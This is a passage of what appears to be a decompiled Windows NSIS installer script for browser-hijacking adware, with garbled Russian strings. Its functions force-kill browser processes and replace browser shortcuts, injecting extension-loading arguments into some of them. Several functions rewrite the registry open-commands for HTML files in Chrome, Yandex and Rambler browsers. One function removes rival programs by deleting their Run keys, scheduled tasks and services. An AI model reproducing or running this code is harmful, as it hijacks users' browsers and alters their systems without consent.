FindNext $1 $2
Goto label_12934
label_12945:
FindClose $1
FindFirst $1 $2 $0\*.*
label_12947:
IfErrors label_12955
IfFileExists $0\$2\*.* 0 label_12953
StrCmp $2 . label_12953
StrCmp $2 .. label_12953
Push $0\$2
Call func_12924
label_12953:
FindNext $1 $2
Goto label_12947
label_12955:
FindClose $1
Pop $2
Pop $1
Pop $0
label_12959:
FunctionEnd
Function func_12960
SetOutPath "$PROGRAMFILES\Mozilla Firefox"
SetShellVarContext all
IfFileExists "$DESKTOP\Ìîzillà Firåfîõ.lnk" label_12964
IfFileExists "$DESKTOP\Mozilla Firefox.lnk" label_12965 label_12967
label_12964:
Delete "$DESKTOP\Ìîzillà Firåfîõ.lnk"
label_12965:
Delete "$DESKTOP\Mozilla Firefox.lnk"
CreateShortCut "$DESKTOP\Mozilla Firefox.lnk" "$PROGRAMFILES\Mozilla Firefox\firefox.exe"
label_12967:
IfFileExists "$APPDATA\Ìîzillà Firåfîõ.lnk" label_12969
IfFileExists "$APPDATA\Mozilla Firefox.lnk" label_12970 label_12972
label_12969:
Delete "$APPDATA\Ìîzillà Firåfîõ.lnk"
label_12970:
Delete "$APPDATA\Mozilla Firefox.lnk"
CreateShortCut "$APPDATA\Mozilla Firefox.lnk" "$PROGRAMFILES\Mozilla Firefox\firefox.exe"
label_12972:
IfFileExists "$APPDATA\User Pinned\TaskBar\Ìîzillà Firåfîõ.lnk" label_12974
IfFileExists "$APPDATA\User Pinned\TaskBar\Mozilla Firefox.lnk" label_12975 label_12977
label_12974:
Delete "$APPDATA\User Pinned\TaskBar\Ìîzillà Firåfîõ.lnk"
label_12975:
Delete "$APPDATA\User Pinned\TaskBar\Mozilla Firefox.lnk"
CreateShortCut "$APPDATA\User Pinned\TaskBar\Mozilla Firefox.lnk" "$PROGRAMFILES\Mozilla Firefox\firefox.exe"
label_12977:
IfFileExists "$SMPROGRAMS\Ìîzillà Firåfîõ.lnk" label_12979
IfFileExists "$SMPROGRAMS\Mozilla Firefox.lnk" label_12980 label_12982
label_12979:
Delete "$SMPROGRAMS\Ìîzillà Firåfîõ.lnk"
label_12980:
Delete "$SMPROGRAMS\Mozilla Firefox.lnk"
CreateShortCut "$SMPROGRAMS\Mozilla Firefox.lnk" "$PROGRAMFILES\Mozilla Firefox\firefox.exe"
label_12982:
SetShellVarContext current
FunctionEnd
Function func_12984
SetOutPath $PROGRAMFILES\Opera
SetShellVarContext all
IfFileExists $DESKTOP\Îpårà.lnk label_12988
IfFileExists $DESKTOP\Opera.lnk label_12989 label_12991
label_12988:
Delete $DESKTOP\Îpårà.lnk
label_12989:
Delete $DESKTOP\Opera.lnk
CreateShortCut $DESKTOP\Opera.lnk $PROGRAMFILES\Opera\launcher.exe
label_12991:
IfFileExists "$DESKTOP\Opera 26.lnk" 0 label_12994
Delete "$DESKTOP\Opera 26.lnk"
CreateShortCut "$DESKTOP\Opera 26.lnk" $PROGRAMFILES\Opera\launcher.exe
label_12994:
IfFileExists $APPDATA\Îpårà.lnk label_12996
IfFileExists $APPDATA\Opera.lnk label_12997 label_12999
label_12996:
Delete $APPDATA\Îpårà.lnk
label_12997:
Delete $APPDATA\Opera.lnk
CreateShortCut $APPDATA\Opera.lnk $PROGRAMFILES\Opera\launcher.exe
label_12999:
IfFileExists "$APPDATA\Opera 26.lnk" 0 label_13002
Delete "$APPDATA\Opera 26.lnk"
CreateShortCut "$APPDATA\Opera 26.lnk" $PROGRAMFILES\Opera\launcher.exe
label_13002:
IfFileExists "$APPDATA\User Pinned\TaskBar\Îpårà.lnk" label_13004
IfFileExists "$APPDATA\User Pinned\TaskBar\Opera.lnk" label_13005 label_13007
label_13004:
Delete "$APPDATA\User Pinned\TaskBar\Îpårà.lnk"
label_13005:
Delete "$APPDATA\User Pinned\TaskBar\Opera.lnk"
CreateShortCut "$APPDATA\User Pinned\TaskBar\Opera.lnk" $PROGRAMFILES\Opera\launcher.exe
label_13007:
IfFileExists "$APPDATA\User Pinned\TaskBar\Opera 26.lnk" 0 label_13010
Delete "$APPDATA\User Pinned\TaskBar\Opera 26.lnk"
CreateShortCut "$APPDATA\User Pinned\TaskBar\Opera 26.lnk" $PROGRAMFILES\Opera\launcher.exe
label_13010:
IfFileExists $SMPROGRAMS\Îpårà.lnk label_13012
IfFileExists $SMPROGRAMS\Opera.lnk label_13013 label_13015
label_13012:
Delete $SMPROGRAMS\Îpårà.lnk
label_13013:
Delete $SMPROGRAMS\Opera.lnk
CreateShortCut $SMPROGRAMS\Opera.lnk $PROGRAMFILES\Opera\launcher.exe
label_13015:
SetShellVarContext current
FunctionEnd
Function func_13017
StrCpy $_37_ ""
SetOutPath $LOCALAPPDATA\Nichrome\Application
StrCpy $_33_ Nichrome\Application\ramblerbrowser.exe
StrCpy $_34_ Nichrome\Application\ramblerbrowser.exe
StrCpy $_35_ "$LOCALAPPDATA\Nichrome\User Data"
StrCpy $_36_ $LOCALAPPDATA\Nichrome\Application\ramblerbrowser.exe
StrCmp $_41_ 1 0 label_13025
StrCpy $_37_ --load-and-launch-app=$\"$_43_$\"
label_13025:
SetShellVarContext all
Push $DESKTOP
Call func_12924
SetShellVarContext current
Push $DESKTOP
Call func_12924
Push $APPDATA
Call func_12924
IfFileExists $_35_\Default\Extensions\$_51_ label_13035
StrCpy $_105_ $_37_
label_13035:
Call func_13083
Call func_19355
FunctionEnd
Function func_13038
StrCpy $_37_ ""
SetOutPath $LOCALAPPDATA\Orbitum\Application
StrCpy $_33_ Orbitum\Application\chrome.exe
StrCpy $_34_ Orbitum\Application\chrome.exe
StrCpy $_35_ "$LOCALAPPDATA\Orbitum\User Data"
StrCpy $_36_ $LOCALAPPDATA\Orbitum\Application\chrome.exe
StrCmp $_42_ 1 0 label_13046
StrCpy $_37_ --load-extension=$\"$_43_$\"
label_13046:
SetShellVarContext all
Push $DESKTOP
Call func_12924
SetShellVarContext current
Push $DESKTOP
Call func_12924
Push $APPDATA
Call func_12924
Push $SMPROGRAMS\Orbitum
Call func_12924
Call func_19355
FunctionEnd
Function func_13058
StrCpy $R7 "$\"$PROGRAMFILES\Google\Chrome\Application\chrome.exe$\" $_103_ -- $\"%1$\""
ClearErrors
ReadRegStr $R9 HKCR ChromeHTML\shell\open\command ""
IfErrors label_13063
StrCmp $R9 $R7 label_13064
label_13063:
WriteRegStr HKCR ChromeHTML\shell\open\command "" $R7
label_13064:
FunctionEnd
Function func_13065
StrCpy $R9 0
label_13066:
ClearErrors
EnumRegValue $R6 HKCR .html\OpenWithProgIds $R9
IfErrors label_13082
IntOp $R9 $R9 + 1
ClearErrors
Push $R6
Push YandexHTML.
Call :label_405
Pop $R3
IfErrors label_13066
StrCpy $R7 "$\"$LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe$\" $_104_ -- $\"%1$\""
ClearErrors
ReadRegStr $R9 HKCR $R6\shell\open\command ""
IfErrors label_13081
StrCmp $R7 $R9 label_13082
label_13081:
WriteRegStr HKCR $R6\shell\open\command "" $R7
label_13082:
FunctionEnd
Function func_13083
StrCpy $R9 0
label_13084:
ClearErrors
EnumRegValue $R6 HKCR .html\OpenWithProgIds $R9
IfErrors label_13100
IntOp $R9 $R9 + 1
ClearErrors
Push $R6
Push RamblerHTM.
Call :label_405
Pop $R3
IfErrors label_13084
StrCpy $R7 "$\"$LOCALAPPDATA\Nichrome\Application\ramblerbrowser.exe$\" $_105_ -- $\"%1$\""
ClearErrors
ReadRegStr $R9 HKCR $R6\shell\open\command ""
IfErrors label_13099
StrCmp $R7 $R9 label_13100
label_13099:
WriteRegStr HKCR $R6\shell\open\command "" $R7
label_13100:
FunctionEnd
Function func_13101
SetOutPath $LOCALAPPDATA\Amigo\Application
SetShellVarContext current
IfFileExists $DESKTOP\Àìèãî.lnk 0 label_13106
Delete $DESKTOP\Àìèãî.lnk
CreateShortCut $DESKTOP\Àìèãî.lnk $LOCALAPPDATA\Amigo\Application\amigo.exe
label_13106:
IfFileExists $APPDATA\Àìèãî.lnk 0 label_13109
Delete $APPDATA\Àìèãî.lnk
CreateShortCut $APPDATA\Àìèãî.lnk $LOCALAPPDATA\Amigo\Application\amigo.exe
label_13109:
IfFileExists "$APPDATA\User Pinned\TaskBar\Àìèãî.lnk" 0 label_13112
Delete "$APPDATA\User Pinned\TaskBar\Àìèãî.lnk"
CreateShortCut "$APPDATA\User Pinned\TaskBar\Àìèãî.lnk" $LOCALAPPDATA\Amigo\Application\amigo.exe
label_13112:
FunctionEnd
Function func_13113
SetOutPath $LOCALAPPDATA\Kometa\Application
SetShellVarContext current
IfFileExists $DESKTOP\Kometa.lnk 0 label_13118
Delete $DESKTOP\Kometa.lnk
CreateShortCut $DESKTOP\Kometa.lnk $LOCALAPPDATA\Kometa\Application\kometa.exe
label_13118:
IfFileExists $APPDATA\Kometa.lnk 0 label_13121
Delete $APPDATA\Kometa.lnk
CreateShortCut $APPDATA\Kometa.lnk $LOCALAPPDATA\Kometa\Application\kometa.exe
label_13121:
IfFileExists "$APPDATA\User Pinned\TaskBar\Kometa.lnk" 0 label_13124
Delete "$APPDATA\User Pinned\TaskBar\Kometa.lnk"
CreateShortCut "$APPDATA\User Pinned\TaskBar\Kometa.lnk" $LOCALAPPDATA\Kometa\Application\kometa.exe
label_13124:
FunctionEnd
Function func_13125
Push 127
Push 0
Call func_13173
Pop $0
StrCmp $0 "" 0 label_13131
StrCpy $0 0
label_13131:
StrCpy $0 ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789 1 $0
Push $0
FunctionEnd
Function func_13134
Pop $6
StrCpy $7 ""
StrCpy $8 ""
StrCpy $9 ""
label_13138:
Call func_13125
Pop $7
StrCpy $8 $8$7
StrLen $9 $8
IntCmp $9 $6 0 label_13138
Push $8
FunctionEnd
Function func_13145
StrCpy $0 ""
StrCpy $1 ""
StrCpy $2 ""
StrCpy $3 ""
StrCpy $4 ""
StrCpy $5 ""
StrCpy $6 1
StrCpy $7 ""
StrCpy $8 ""
StrCpy $9 ""
Push 8
Call func_13134
Pop $1
Push 4
Call func_13134
Pop $2
Push 4
Call func_13134
Pop $3
Push 4
Call func_13134
Pop $4
Push 12
Call func_13134
Pop $5
StrCpy $8 {$1-$2-$3-$4-$5}
Push $8
FunctionEnd
Function func_13173
Exch $0
; Push $0
; Exch
; Pop $0
Exch
Exch $1
; Push $1
; Exch
; Pop $1
Push $3
Push $4
IntOp $3 $1 - $0
IntOp $3 $3 + 1
System::Call "*(l) i .r4"
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push "*(l) i .r4"
; CallInstDLL $PLUGINSDIR\System.dll Call
System::Call "advapi32::SystemFunction036(i r4, i 4)"
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push "advapi32::SystemFunction036(i r4, i 4)"
; CallInstDLL $PLUGINSDIR\System.dll Call
System::Call "*$4(l .r1)"
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push "*$4(l .r1)"
; CallInstDLL $PLUGINSDIR\System.dll Call
System::Free $4
; Call Initialize_____Plugins
; AllowSkipFiles on
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push $4
; CallInstDLL $PLUGINSDIR\System.dll Free
System::Int64Op $1 * $3
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push $3
; Push *
; Push $1
; CallInstDLL $PLUGINSDIR\System.dll Int64Op
Pop $3
System::Int64Op $3 / 0xFFFFFFFF
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push 0xFFFFFFFF
; Push /
; Push $3
; CallInstDLL $PLUGINSDIR\System.dll Int64Op
Pop $3
IntOp $0 $3 + $0
Pop $4
Pop $3
Pop $1
StrCmp $0 0 0 label_13227
Call func_13231
Pop $0
label_13227:
Exch $0
; Push $0
; Exch
; Pop $0
FunctionEnd
Function func_13231
StrCpy $0 ""
GetTempFileName $0
Delete $0
StrCpy $0 $0 1 -5
IntFmt $0 %u 0x$0
StrCpy $0 $0 "" -1
Push $0
FunctionEnd
Function func_13239
StrCpy $6 ""
Pop $6
StrCpy $_56_ $6 16
StrCpy $_57_ $6 "" 16
Push $_56_
Call func_13252
Pop $_56_
Push $_57_
Call func_13252
Pop $_57_
StrCpy $6 $_56_$_57_
Push $6
FunctionEnd
Function func_13252
Exch $1
; Push $1
; Exch
; Pop $1
Push $0
Exch
Push $2
Push $3
StrCpy $0 ""
StrLen $2 $1
label_13261:
IntCmp $2 0 label_13266
IntOp $2 $2 - 1
StrCpy $3 $1 1 $2
StrCpy $0 $0$3
Goto label_13261
label_13266:
Pop $3
Pop $2
Pop $1
Exch $0
; Push $0
; Exch
; Pop $0
Return
StrCpy $3 ""
Call func_11734
Pop $3
StrCmp $3 "" label_13278
Push $R9
label_13278:
Push __MSG_appName__
Push $3
Push +
Call :label_11822
Pop $R9
StrCpy $3 ""
Push $0
FunctionEnd
Function func_13286
StrCpy $0 chrome.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13304
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_13304
StrCpy $0 chrome.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_13304
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
Goto label_13304
label_13304:
DetailPrint "Everything went okay :-D"
FunctionEnd
Function func_13306
StrCpy $0 firefox.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13324
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_13324
StrCpy $0 firefox.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_13324
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
Goto label_13324
label_13324:
DetailPrint "Everything went okay :-D"
FunctionEnd
Function func_13326
StrCpy $0 opera.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13344
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_13344
StrCpy $0 opera.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_13344
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
Goto label_13344
label_13344:
DetailPrint "Everything went okay :-D"
FunctionEnd
Function func_13346
StrCpy $0 browser.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13364
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_13364
StrCpy $0 browser.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_13364
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
Goto label_13364
label_13364:
DetailPrint "Everything went okay :-D"
FunctionEnd
Function func_13366
nsExec::ExecToStack "taskkill /IM $\"amigo.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"amigo.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
StrCpy $0 amigo.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13387
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_13392
StrCpy $0 amigo.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_13387
Goto label_13392
label_13387:
nsExec::ExecToStack "taskkill /IM $\"amigo.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"amigo.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_13392:
DetailPrint "Everything went okay :-D"
FunctionEnd
Function func_13394
StrCpy $0 nichrome.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13412
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_13412
StrCpy $0 nichrome.exe
DetailPrint "Killing all processes called '$0'"
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_13412
DetailPrint "-> Killed $0 processes, faild to kill $1 processes"
Goto label_13412
label_13412:
StrCpy $0 ramblerbrowser.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13429
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_13434
Sleep 3000
StrCpy $0 ramblerbrowser.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_13429
Goto label_13434
label_13429:
nsExec::Exec "cmd /k taskkill /IM $\"ramblerbrowser.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"ramblerbrowser.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_13434:
DetailPrint "Everything went okay :-D"
FunctionEnd
Function func_13436
StrCpy $0 kometa.exe
DetailPrint "Âûçîâ ïîèñêà ïðîöåññà '$0'"
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_13453
DetailPrint "-> Íàéäåíî $0 ïðîöåññîâ"
StrCmp $0 0 label_13458
Sleep 3000
StrCpy $0 kometa.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
StrCmp $1 -1 label_13453
Goto label_13458
label_13453:
nsExec::Exec "cmd /k taskkill /IM $\"kometa.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"kometa.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_13458:
DetailPrint "Everything went okay :-D"
FunctionEnd
Function func_13460
SetShellVarContext current
ClearErrors
ReadRegStr $0 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Vkmusicdownloader
IfErrors 0 label_13465
IfFileExists $LOCALAPPDATA\Microsoft\Windows\Vkmusicdownloader.exe 0 label_13485
label_13465:
StrCpy $1 musicdownload
nsExec::Exec "cmd /k taskkill /IM Vk$1er.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Vk$1er.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 3000
nsExec::Exec "cmd /k taskkill /IM Vk$1er.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Vk$1er.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Vk$1er$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Vk$1er$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Vk$1er
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Vk$1er
Delete /REBOOTOK $LOCALAPPDATA\Microsoft\Windows\Vk$1er.exe
label_13485:
IfFileExists $LOCALAPPDATA\SysHlp 0 label_13503
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\SysHlp\*.exe
label_13488:
StrCmp $R1 "" label_13501
nsExec::Exec "cmd /k taskkill /IM $R1 /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1 /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Push $R1
Call :label_4803
Pop $R0
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $R0
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run $R0
FindNext $0 $R1
Goto label_13488
label_13501:
FindClose $0
RMDir /r /REBOOTOK $LOCALAPPDATA\SysHlp
label_13503:
IfFileExists $APPDATA\etranslator 0 label_13505
RMDir /r /REBOOTOK $APPDATA\etranslator
label_13505:
IfFileExists $PROGRAMFILES\e2ru 0 label_13521
IfFileExists $PROGRAMFILES\e2ru\transl.sys label_13508
IfFileExists $PROGRAMFILES\e2ru\e2ru.exe 0 label_13521
label_13508:
nsExec::Exec "cmd /k taskkill /IM $\"e2ru.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"e2ru.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k net stop transl"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop transl"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run e2ru
DeleteRegKey HKLM SYSTEM\ControlSet001\services\transl
RMDir /r /REBOOTOK $PROGRAMFILES\e2ru
label_13521:
IfFileExists $PROGRAMFILES\e2rusvc\TranslateService.exe 0 label_13529
nsExec::Exec "cmd /k taskkill /IM TranslateService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TranslateService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Translator Build Manager"
RMDir /r /REBOOTOK $PROGRAMFILES\e2rusvc
label_13529:
IfFileExists "$PROGRAMFILES\Translate Mgr\å2ru.exe" label_13531
IfFileExists "$PROGRAMFILES\Translate Mgr\e2ru.exe" 0 label_13547
label_13531:
nsExec::Exec "cmd /k taskkill /IM e2ru.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM e2ru.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK "$PROGRAMFILES\Translate Mgr\*"
RMDir /r /REBOOTOK "$PROGRAMFILES\Translate Mgr"
ClearErrors
ReadRegStr $1 HKCU "Software\Translate Mgr" m_Name
IfErrors label_13547
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $1
nsExec::ExecToStack "schtasks /delete /tn $\"$1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"$1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_13547:
IfFileExists $LOCALAPPDATA\FilterStart\FiltårStàrt.exe label_13549
IfFileExists $LOCALAPPDATA\FilterStart\FilterStart.exe 0 label_13565
label_13549:
nsExec::Exec "cmd /k taskkill /IM FilterStart.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM FilterStart.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $LOCALAPPDATA\FilterStart\*
RMDir /r /REBOOTOK $LOCALAPPDATA\FilterStart
ClearErrors
ReadRegStr $1 HKLM "Software\Translate Mgr" m_Name
IfErrors label_13565
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run $1
nsExec::ExecToStack "schtasks /delete /tn $\"$1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"$1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_13565:
IfFileExists $WINDIR\translateMgr.sys 0 label_13573
nsExec::Exec "cmd /k net stop translateMgr"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop translateMgr"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\translateMgr
Delete /REBOOTOK $WINDIR\translateMgr.sys
label_13573:
IfFileExists $LOCALAPPDATA\translatemgr* 0 label_13592
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\translatemgr*
label_13576:
StrCmp $R1 "" label_13591
IfFileExists $LOCALAPPDATA\$R1 0 label_13589
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"$R1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"$R1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
label_13589:
FindNext $0 $R1
Goto label_13576
label_13591:
FindClose $0
label_13592:
IfFileExists "$LOCALAPPDATA\Translate Mgr Helper\TMHålpår.exe" label_13594
IfFileExists "$LOCALAPPDATA\Translate Mgr Helper\TMHelper.exe" 0 label_13605
label_13594:
nsExec::Exec "cmd /k taskkill /IM TMHelper.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TMHelper.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Translate Mgr Helper$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Translate Mgr Helper$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$LOCALAPPDATA\Translate Mgr Helper"
label_13605:
IfFileExists $APPDATA\Checkers\Draughts\Draughts.exe 0 label_13613
nsExec::Exec "cmd /k taskkill /IM Draughts.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Draughts.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Draughts
RMDir /r /REBOOTOK $APPDATA\Checkers\Draughts
label_13613:
IfFileExists $APPDATA\NotepadApp\NotepadApp.exe 0 label_13622
IfFileExists $APPDATA\NotepadApp\Notices.exe 0 label_13622
